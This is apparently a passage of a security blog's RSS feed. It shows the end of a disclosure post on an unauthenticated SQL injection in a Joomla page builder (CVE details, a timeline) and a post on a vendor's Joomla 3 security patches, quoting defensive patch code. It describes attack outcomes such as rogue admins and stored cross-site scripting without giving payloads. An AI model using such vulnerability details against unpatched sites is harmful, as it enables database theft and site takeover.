&lt;li&gt;Update every Joomla site running Quix Page Builder to &lt;strong&gt;6.2.2&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request with no privileges and nothing stolen first. The Joomla CNA scored it CVSS 4.0 8.7, High. What comes out is every user record, every password hash, and other Joomla API secrets.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;CVE-2026-58078, scored by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated and exploitable over the internet, ending in full read access to the site database. Being error-based makes exploitation trivial: the data returns in the response, one value per request.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This vulnerability is tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58078/&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/strong&gt;, assigned on 16 July 2026 by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, the body that assigns identifiers for Joomla and its extensions, crediting Phil Taylor of mySites.guru as the finder. The Joomla CNA also assigned CVEs for the other issues we reported in the same disclosure: &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60026&quot;&gt;CVE-2026-60026&lt;/a&gt; to &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60031&quot;&gt;CVE-2026-60031&lt;/a&gt; for the remaining six Quix findings, and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60032&quot;&gt;CVE-2026-60032&lt;/a&gt; to &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60034&quot;&gt;CVE-2026-60034&lt;/a&gt; for the three JMedia findings.&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58078/&quot;&gt;CVE-2026-58078&lt;/a&gt; (assigned via the Joomla CNA)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Quix Page Builder for Joomla (&lt;code&gt;com_quix&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;ThemeXpert (&lt;a href=&quot;https://www.themexpert.com/&quot;&gt;themexpert.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated, error-based SQL injection (CWE-89)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt; (Joomla CNA)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt; (Improper Neutralization of Special Elements used in an SQL Command)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;6.2.0 and all earlier versions&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;Quix 6.2.1 (this SQL injection); update to 6.2.2, which closes a further issue we reported&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The disclosure ran on an unusually short cycle from audit to fix, and the &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-14&lt;/strong&gt; ThemeXpert ships Quix 6.2.0 as a full security audit The changelog opens &quot;Completed a full security audit of the extension&quot; and describes hardening every front-end API endpoint, input handling and output escaping, and file, URL and database query handling across the component.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; We audit that build and find the injection still there The unauthenticated SQL injection is confirmed against the code and proved on a local install that reads database contents back through a single anonymous request. It is disclosed privately to ThemeXpert alongside six further security findings, with all public detail withheld.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; ThemeXpert ships Quix 6.2.1 the same day The article id is cast to an integer, closing the injection, along with fixes for five of the other six issues we reported and hardening of the bundled JMedia media manager. We flag every connected site below the fix and request a CVE. No proof of concept is released.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-16&lt;/strong&gt; Quix 6.2.2 closes the seventh issue The unsanitised CSS ID and Class fields, plus automatic cache clearing on update so the fixes take effect without a manual cache flush.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-16&lt;/strong&gt; The Joomla CNA assigns CVE-2026-58078 Scored CVSS 4.0 8.7 High, crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This Quix flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Our DPCalendar SQL injection disclosure&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of bug, in different extensions, found in the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review and rotate if a vulnerable extension was ever live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt; - the official references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.themexpert.com/&quot;&gt;ThemeXpert&lt;/a&gt; - the vendor&apos;s site, where Quix 6.2.2 is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>quix</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/quix-sql-injection-disclosure.png" length="0" type="image/png"/></item><item><title>JoomShaper Patched the Joomla 3 It Said It Never Would</title><link>https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/</link><guid isPermaLink="true">https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/</guid><description>Six days after excluding Joomla 3 security patches, JoomShaper shipped them for Helix Ultimate, Helix3 and SP Page Builder. What is in them.</description><pubDate>Wed, 15 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Six days ago, JoomShaper told everyone still running Joomla 3 exactly where they stood. The &lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;announcement&lt;/a&gt; listed what Joomla 3 users could expect from the company, and the third bullet was the one that mattered: “No security patches, regardless of severity.”&lt;/p&gt;
&lt;p&gt;Today, JoomShaper &lt;a href=&quot;https://www.joomshaper.com/blog/security-update-for-joomla-3-users&quot;&gt;released security patches for Joomla 3&lt;/a&gt;. Helix Ultimate, Helix3 and SP Page Builder, all three of them, for the version of Joomla the company had just finished writing off.&lt;/p&gt;
&lt;p&gt;That is the right call, and it arrived quickly. It is also a straight reversal of a position that was six days old, and if you manage Joomla 3 sites it changes what you should do this week. So we downloaded the packages to see what the announcement leaves out.&lt;/p&gt;
&lt;h2&gt;What JoomShaper Shipped for Joomla 3&lt;/h2&gt;
&lt;p&gt;Three separate patches, released today:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Product&lt;/th&gt;&lt;th&gt;Joomla 3 patch&lt;/th&gt;&lt;th&gt;Where it lives&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Helix Ultimate&lt;/td&gt;&lt;td&gt;Security fixes v1.0.0, patching the plugin to a &lt;code&gt;2.1.4-j3sec&lt;/code&gt; baseline&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/j3-security-v1.0.0&quot;&gt;GitHub release tag&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Helix3&lt;/td&gt;&lt;td&gt;Security patch v1.0.0, plugin and template to 3.1.2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/JoomShaper/Helix3/releases/tag/j3-security-v1.0.0&quot;&gt;GitHub release tag&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SP Page Builder&lt;/td&gt;&lt;td&gt;The existing manual patch, now installable through Joomla&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/extension/sp-page-builder-joomla-3-security-patch&quot;&gt;JoomShaper site download&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The SP Page Builder entry comes with an admission worth reading twice. JoomShaper says it “released the SP Page Builder security update for Joomla 3 a while back, but it had to be applied manually”, and today’s release just makes that same patch installable through the extension installer. So a Joomla 3 security patch for SP Page Builder already existed at the point the company announced there would be no Joomla 3 security patches, regardless of severity.&lt;/p&gt;
&lt;p&gt;These are security-only releases. JoomShaper is explicit that no other bug fixes are included, and the rest of the 9 July position has not moved: no new features, no bug fixes, no technical support, and migrate as soon as you can. The security-patch line is the part that changed.&lt;/p&gt;
&lt;h2&gt;What To Do About It Today&lt;/h2&gt;
&lt;p&gt;If you run Joomla 3 sites with any of these three extensions on them, the job this week is short: work out which sites are affected, get the patch onto them, and then check whether anything got in during the window when they were open.&lt;/p&gt;
&lt;p&gt;The first part is the part that does not scale by hand. mySites.guru keeps a live inventory of every Joomla and WordPress site in your account with the core version and full extension list for each, so you can filter for Joomla 3 sites, search for Helix or SP Page Builder, and see the real list rather than guessing from memory. It &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;flags end-of-life versions automatically&lt;/a&gt; too, so the exposed sites surface on their own.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;See which of your sites this actually affects&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Filter for Joomla 3 and search for Helix or SP Page Builder. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The second part is where the vendor route gets tedious. Look at what JoomShaper’s own instructions actually ask of you: download three separate zip files from three different places, two GitHub release tags and a site download, then log into every single Joomla site you manage and upload each patch by hand through the extension installer. For one site that is a coffee break. For forty Joomla 3 sites with a mix of these three extensions on them, it is a day you were not planning to spend, and it is the kind of job where site thirty-seven gets skipped and no one notices until something else does.&lt;/p&gt;
&lt;p&gt;The day before this reversal, we shipped &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;our own tool that backports JoomShaper’s fixes into the Joomla 3 builds&lt;/a&gt;, because at that point the vendor had said the fixes were never coming. They have now come, and we are not going to pretend that is bad news: a vendor patch is better than a third-party guard, and if the official patch installs cleanly on your site, take it. What our toolset saves you is the legwork. One toggle applies the fix logic for every affected JoomShaper product across every site in your account at once, with a backup taken first and a one-click revert, instead of three downloads and forty logins.&lt;/p&gt;
&lt;p&gt;What neither route changes is the gap people keep walking into. Patching closes the door. It does not evict whoever is already inside.&lt;/p&gt;
&lt;h2&gt;What Is Actually in the Patch&lt;/h2&gt;
&lt;p&gt;The fixes are real ones rather than cosmetic hardening. The Helix3 AJAX plugin is the clearest example, because it is the entry point behind &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;, the flaw we disclosed and the doorway for the AntonKill defacement wave.&lt;/p&gt;
&lt;p&gt;The patched plugin now runs a deny-by-default allowlist. Every action is checked against a list of permitted names before anything happens, and anything unrecognised is rejected. The write actions, &lt;code&gt;save&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt;, &lt;code&gt;load&lt;/code&gt;, &lt;code&gt;resetLayout&lt;/code&gt;, &lt;code&gt;import&lt;/code&gt;, &lt;code&gt;updateFonts&lt;/code&gt; and &lt;code&gt;fontVariants&lt;/code&gt;, now go through a single gate that demands both a valid CSRF token and real administrator permission:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;private&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; requireAuthorisedAdminRequest&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  $user &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getCurrentUser&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  if&lt;/span&gt;&lt;span&gt; ($user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;guest &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;authorise&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;core.admin&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt;$user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;authorise&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;core.manage&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;com_templates&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;))) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;sendJsonError&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;JERROR_ALERTNOAUTHOR&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span&gt;403&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;Session&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;checkToken&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;request&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;sendJsonError&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;JINVALID_TOKEN&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span&gt;403&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the correct fix. The original flaw was an anonymous visitor reaching those actions with no token and no permission check at all, and this closes it at the right point.&lt;/p&gt;
&lt;p&gt;The rest is the same standard applied consistently. Layout filenames are sanitised down to alphanumerics, hyphens and underscores, then resolved with &lt;code&gt;realpath()&lt;/code&gt; and confirmed to sit inside the layout directory, which kills the traversal. Image uploads are restricted to an extension allowlist. Raw &lt;code&gt;$_POST&lt;/code&gt; access is replaced with Joomla’s input filter. Imports and layout saves are capped at 1MB. The public voting action gets a token and a rate limit of five votes a minute.&lt;/p&gt;
&lt;p&gt;Helix Ultimate gets the same treatment across a wider surface: an open redirect fix on the &lt;code&gt;helixreturn&lt;/code&gt; login flow, central token and permission enforcement on the AJAX actions, upload hardening, and output escaping through the mega menu. Every menu field, the title, anchor attributes, icon and image classes, is now run through &lt;code&gt;htmlspecialchars()&lt;/code&gt;, with dedicated sanitisers for badge text and colours. That is the stored cross-site scripting hole in the site chrome being closed at the output end.&lt;/p&gt;
&lt;h2&gt;The Version Gate No one Mentions&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;Correction, 27 August 2026&lt;/p&gt;
  &lt;p&gt;This section originally said the installer declares a supported range of 2.1.0 to 2.1.4-j3sec and rejects older builds, and it quoted a &lt;code&gt;SUPPORTED_HELIX_MIN&lt;/code&gt; constant. That constant does not exist. We re-read the shipped &lt;code&gt;script.php&lt;/code&gt; in the 1.0.0, 1.0.1 and 1.0.2 packages and there is no lower bound of any kind. Older 1.1.x and 2.0.x builds install fine. If you skipped a site in July because of what we wrote here, that site can take the vendor patch and should get it. The section below is rewritten to describe what the installer actually does.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The announcement does not mention this, and it still matters for anyone planning a patching round.&lt;/p&gt;
&lt;p&gt;The Helix Ultimate Joomla 3 patch checks what you are running before it will touch anything, but only at the top end. Its installer declares a single supported ceiling:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; HELIX_BASELINE&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;2.1.4-j3sec&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; SUPPORTED_HELIX_MAX&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;2.1.4-j3sec&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The only version test is &lt;code&gt;version_compare($helixVersion, self::SUPPORTED_HELIX_MAX, &apos;&amp;gt;&apos;)&lt;/code&gt;, so the install aborts with “Unsupported Helix Ultimate version” when you are running something newer than the Joomla 3 baseline, and proceeds on everything at or below it. In practice that means 1.0.x, 1.1.x, 2.0.x, 2.1.0 through 2.1.3 and the patched 2.1.4-j3sec itself are all accepted. Plain 2.1.4 and the 2.2.x line are rejected, which is the point of the gate: those are Joomla 4 and 5 builds that have no business on a Joomla 3 site.&lt;/p&gt;
&lt;p&gt;It also requires Joomla 3.10.x specifically and PHP 7.2.5 or later, and it will not run if the Helix Ultimate system plugin is not installed at all.&lt;/p&gt;
&lt;p&gt;So the practical answer for an old Joomla 3 site is better than we first reported. Check the version you are actually running rather than the version you assume, but expect the vendor patch to install even on a site that has been sitting on a 1.1.x build for years. Migration is still the real fix; the patch is a stopgap you can now apply almost everywhere.&lt;/p&gt;
&lt;h2&gt;The Logistics Are Rough&lt;/h2&gt;
&lt;p&gt;Three practical things we hit trying to follow JoomShaper’s own instructions, which you will hit too.&lt;/p&gt;
&lt;p&gt;The download links are missing. Both the Helix Ultimate and Helix3 sections tell you to “Download the security patch .zip file from GitHub” and neither sentence is a link. The packages exist and they are properly built, with checksums and a self-uninstalling installer, but the announcement does not get you to them. They are on the &lt;code&gt;j3-security-v1.0.0&lt;/code&gt; release tag of each repository, linked in the table above.&lt;/p&gt;
&lt;p&gt;The SP Page Builder patch is somewhere else entirely. It is not on GitHub with the other two, because the SP Page Builder repository has not been touched since 2020. It comes from the JoomShaper site download instead.&lt;/p&gt;
&lt;p&gt;And the patched extension does not announce itself. The Helix Ultimate package patches files to a &lt;code&gt;2.1.4-j3sec&lt;/code&gt; baseline and then removes itself, so a patched site does not obviously look different from an unpatched one. If you are tracking this across a lot of sites, record what you patched as you go, because the version number is not going to tell you later.&lt;/p&gt;
&lt;h2&gt;Patching Is Not Cleaning&lt;/h2&gt;
&lt;p&gt;These particular flaws were exploited in the wild before any of these patches existed.&lt;/p&gt;
&lt;p&gt;SP Page Builder’s unauthenticated upload, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;, was scored CVSS 10.0 and used to plant hidden Joomla Super Administrators. The Helix3 flaw fed &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;a defacement wave that stores its payload in the database&lt;/a&gt; rather than in a file. The Helix Ultimate mega-menu issue was used to store &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;cross-site scripting inside the menu settings&lt;/a&gt;, aimed at creating a Super User out of the next admin who logged in.&lt;/p&gt;
&lt;p&gt;Every one of those leaves something behind that a patch does not touch. A rogue Super Administrator is still there after patching. A payload sitting in the &lt;code&gt;params&lt;/code&gt; column of your &lt;code&gt;#__menu&lt;/code&gt; table is still there after patching, after a file scan, and after a clean-file restore, because it was never a file. Attackers plant &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;dormant droppers, hidden admins and malicious cron jobs&lt;/a&gt; so that the obvious cleanup misses them.&lt;/p&gt;
&lt;p&gt;So if a site of yours was running a vulnerable build while these holes were open, patch it and then check it. mySites.guru ships one-click cleanup tools for these exact artefacts: rogue Super Admin accounts flagged by the signatures these campaigns reuse, the poisoned Helix Ultimate mega menu, the Helix3 custom code hack, and the rogue SP Page Builder icon-font assets. They work whatever Joomla version the site runs, because this wave hit Joomla 4, 5 and 6 sites as well.&lt;/p&gt;
&lt;h2&gt;Does This Change the Migration Advice?&lt;/h2&gt;
&lt;p&gt;Not in the slightest, and JoomShaper says so itself in the patch notes.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;Joomla 3 reached end of life in August 2023&lt;/a&gt;. The paid eLTS programme that extended it ended in February 2025. Since then the core has had no official security patches of any severity, and today’s release does nothing about that, because it patches extensions, not the platform they sit on. A hardened extension on an unpatched core is a better position than an unhardened one. It is still not a supported site.&lt;/p&gt;
&lt;p&gt;What today buys you is breathing room, and the right use of breathing room is to spend it migrating. The targets are Joomla 5 or Joomla 6. Not Joomla 4: its own security support ended in October 2025, so migrating 3 to 4 moves you onto another unsupported line. For the core itself in the meantime, mySites.guru applies the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;backported Joomla 3.10.999 security patches with a single toggle&lt;/a&gt;, which closes the known core holes while you plan the move.&lt;/p&gt;
&lt;h2&gt;The Bottom Line&lt;/h2&gt;
&lt;p&gt;JoomShaper got to the right answer, and got there in six days. That deserves saying, because the alternative, a vendor leaving a CVSS 10.0 class of flaw unpatched on the majority of live Joomla sites, was a bad outcome and it did not happen.&lt;/p&gt;
&lt;p&gt;What the six days show is how much weight &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;a vendor’s end-of-life policy&lt;/a&gt; holds when it is announced as final. For the length of that window, every agency running Joomla 3 was told the fixes were never coming and made decisions on that basis. Some of those decisions were “leave it, nothing can be done”. The patches were reachable enough that they shipped less than a week later.&lt;/p&gt;
&lt;p&gt;The practical takeaway is the same one we keep arriving at. Know which sites you have, know what is on them, patch what you can, clean what got hit, and keep migrating. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site if you want to see what your Joomla 3 exposure actually looks like.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/security-update-for-joomla-3-users&quot;&gt;JoomShaper: Security Update for Joomla 3 Users&lt;/a&gt; - today’s announcement and the patch notes for all three products.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;JoomShaper: Joomla 3 Support Has Come to an End&lt;/a&gt; - the 9 July announcement, including the “no security patches, regardless of severity” line.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/j3-security-v1.0.0&quot;&gt;Helix Ultimate j3-security-v1.0.0 release&lt;/a&gt; - the actual packages, checksums and fix list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomShaper/Helix3/releases/tag/j3-security-v1.0.0&quot;&gt;Helix3 j3-security-v1.0.0 release&lt;/a&gt; - the Helix3 plugin and template patches.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt; - the SP Page Builder unauthenticated upload record, CVSS 10.0.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt; - the Helix3 unauthenticated write record behind the AntonKill wave.&lt;/li&gt;
